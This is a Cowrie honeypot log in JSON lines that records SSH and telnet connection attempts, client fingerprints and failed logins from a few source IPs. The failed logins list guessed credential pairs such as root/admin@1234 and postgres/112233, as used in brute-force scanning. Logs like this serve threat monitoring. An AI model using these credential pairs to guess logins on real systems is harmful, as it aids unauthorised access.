{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234","message":"login attempt [root/admin@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:03.927185Z","src_ip":"102.213.34.99","session":"152aea32c8cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:05.099700Z","src_ip":"102.213.34.99","session":"152aea32c8cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47076,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d83a8d8fdaf","protocol":"telnet","message":"New connection: 162.253.42.116:47076 (10.17.0.5:23) [session: 1d83a8d8fdaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:12.080657Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59236,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb001d6ac003","protocol":"telnet","message":"New connection: 162.253.42.116:59236 (10.17.0.5:23) [session: eb001d6ac003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:23.140608Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34310,"dst_ip":"10.17.0.5","dst_port":23,"session":"875931ea328f","protocol":"telnet","message":"New connection: 162.253.42.116:34310 (10.17.0.5:23) [session: 875931ea328f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:26.049565Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43424,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dcd525f742e","protocol":"telnet","message":"New connection: 162.253.42.116:43424 (10.17.0.5:23) [session: 9dcd525f742e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:34.928943Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52104,"dst_ip":"10.17.0.5","dst_port":23,"session":"b66fc77f082d","protocol":"telnet","message":"New connection: 162.253.42.116:52104 (10.17.0.5:23) [session: b66fc77f082d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:41.829778Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39708,"dst_ip":"159.203.135.109","dst_port":22,"session":"379b5e24c809","protocol":"ssh","message":"New connection: 159.203.92.129:39708 (159.203.135.109:22) [session: 379b5e24c809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:42.811280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:42.815750Z","src_ip":"159.203.92.129","session":"379b5e24c809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:42.820521Z","src_ip":"159.203.92.129","session":"379b5e24c809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"password","message":"login attempt [ams/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:42.833699Z","src_ip":"159.203.92.129","session":"379b5e24c809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:43.841199Z","src_ip":"159.203.92.129","session":"379b5e24c809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":55858,"dst_ip":"10.17.0.5","dst_port":23,"session":"0880713c1d18","protocol":"telnet","message":"New connection: 162.253.42.116:55858 (10.17.0.5:23) [session: 0880713c1d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:45.622074Z"}
{"eventid":"cowrie.session.closed","duration":34.49158239364624,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:46.572175Z","src_ip":"162.253.42.116","session":"1d83a8d8fdaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.44766092300415,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:57.588130Z","src_ip":"162.253.42.116","session":"eb001d6ac003","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.44300961494446,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:03.492483Z","src_ip":"162.253.42.116","session":"875931ea328f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46674,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ce8c9dd4ae3","protocol":"telnet","message":"New connection: 162.253.42.116:46674 (10.17.0.5:23) [session: 0ce8c9dd4ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:04.112529Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58812,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ce58a16e039","protocol":"ssh","message":"New connection: 102.213.34.99:58812 (10.17.0.5:22) [session: 7ce58a16e039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:06.977378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:06.982426Z","src_ip":"102.213.34.99","session":"7ce58a16e039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:07.152517Z","src_ip":"102.213.34.99","session":"7ce58a16e039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.52509641647339,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:07.453902Z","src_ip":"162.253.42.116","session":"9dcd525f742e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"112233","message":"login attempt [postgres/112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:07.863643Z","src_ip":"102.213.34.99","session":"7ce58a16e039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:09.038251Z","src_ip":"102.213.34.99","session":"7ce58a16e039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":51150,"dst_ip":"10.17.0.5","dst_port":22,"session":"b26b9b0a490b","protocol":"ssh","message":"New connection: 165.154.5.173:51150 (10.17.0.5:22) [session: b26b9b0a490b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:15.577405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:15.582692Z","src_ip":"165.154.5.173","session":"b26b9b0a490b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:15.796816Z","src_ip":"165.154.5.173","session":"b26b9b0a490b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60138,"dst_ip":"10.17.0.5","dst_port":23,"session":"9725dd12e664","protocol":"telnet","message":"New connection: 162.253.42.116:60138 (10.17.0.5:23) [session: 9725dd12e664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:16.220747Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:16.685065Z","src_ip":"165.154.5.173","session":"b26b9b0a490b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.62818241119385,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:17.457834Z","src_ip":"162.253.42.116","session":"b66fc77f082d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:17.901635Z","src_ip":"165.154.5.173","session":"b26b9b0a490b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.055156230926514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:20.677126Z","src_ip":"162.253.42.116","session":"0880713c1d18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40924,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b695ea56a47","protocol":"telnet","message":"New connection: 162.253.42.116:40924 (10.17.0.5:23) [session: 6b695ea56a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:23.513729Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44520,"dst_ip":"159.203.135.109","dst_port":22,"session":"3677a2127ada","protocol":"ssh","message":"New connection: 159.203.92.129:44520 (159.203.135.109:22) [session: 3677a2127ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:25.065191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:25.070173Z","src_ip":"159.203.92.129","session":"3677a2127ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:25.075358Z","src_ip":"159.203.92.129","session":"3677a2127ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amupl","password":"amupl","message":"login attempt [amupl/amupl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:25.088435Z","src_ip":"159.203.92.129","session":"3677a2127ada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:26.094554Z","src_ip":"159.203.92.129","session":"3677a2127ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":45798,"dst_ip":"10.17.0.5","dst_port":23,"session":"52b6614265f2","protocol":"telnet","message":"New connection: 162.253.42.116:45798 (10.17.0.5:23) [session: 52b6614265f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:27.494073Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53892,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fe922a7f4ad","protocol":"telnet","message":"New connection: 162.253.42.116:53892 (10.17.0.5:23) [session: 8fe922a7f4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:35.637810Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60298,"dst_ip":"10.17.0.5","dst_port":23,"session":"fae18e616929","protocol":"telnet","message":"New connection: 162.253.42.116:60298 (10.17.0.5:23) [session: fae18e616929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:39.849404Z"}
{"eventid":"cowrie.session.closed","duration":37.25810527801514,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:41.370507Z","src_ip":"162.253.42.116","session":"0ce8c9dd4ae3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.360939741134644,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:50.581567Z","src_ip":"162.253.42.116","session":"9725dd12e664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52098,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a3f4d4df1b5","protocol":"telnet","message":"New connection: 162.253.42.116:52098 (10.17.0.5:23) [session: 6a3f4d4df1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:56.709421Z"}
{"eventid":"cowrie.session.closed","duration":34.892385482788086,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:12:58.406016Z","src_ip":"162.253.42.116","session":"6b695ea56a47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.28983545303345,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:01.783733Z","src_ip":"162.253.42.116","session":"52b6614265f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35812,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f17dec22638","protocol":"telnet","message":"New connection: 162.253.42.116:35812 (10.17.0.5:23) [session: 1f17dec22638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:06.814320Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45336,"dst_ip":"159.203.135.109","dst_port":22,"session":"d91cc0d65bd3","protocol":"ssh","message":"New connection: 159.203.92.129:45336 (159.203.135.109:22) [session: d91cc0d65bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:08.090266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:08.096029Z","src_ip":"159.203.92.129","session":"d91cc0d65bd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:08.103454Z","src_ip":"159.203.92.129","session":"d91cc0d65bd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amvizone","password":"amvizone","message":"login attempt [amvizone/amvizone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:08.166160Z","src_ip":"159.203.92.129","session":"d91cc0d65bd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58882,"dst_ip":"10.17.0.5","dst_port":22,"session":"713797e25869","protocol":"ssh","message":"New connection: 102.213.34.99:58882 (10.17.0.5:22) [session: 713797e25869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:08.901926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:08.906789Z","src_ip":"102.213.34.99","session":"713797e25869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.345258474349976,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:08.982941Z","src_ip":"162.253.42.116","session":"8fe922a7f4ad","protocol":"telnet"}
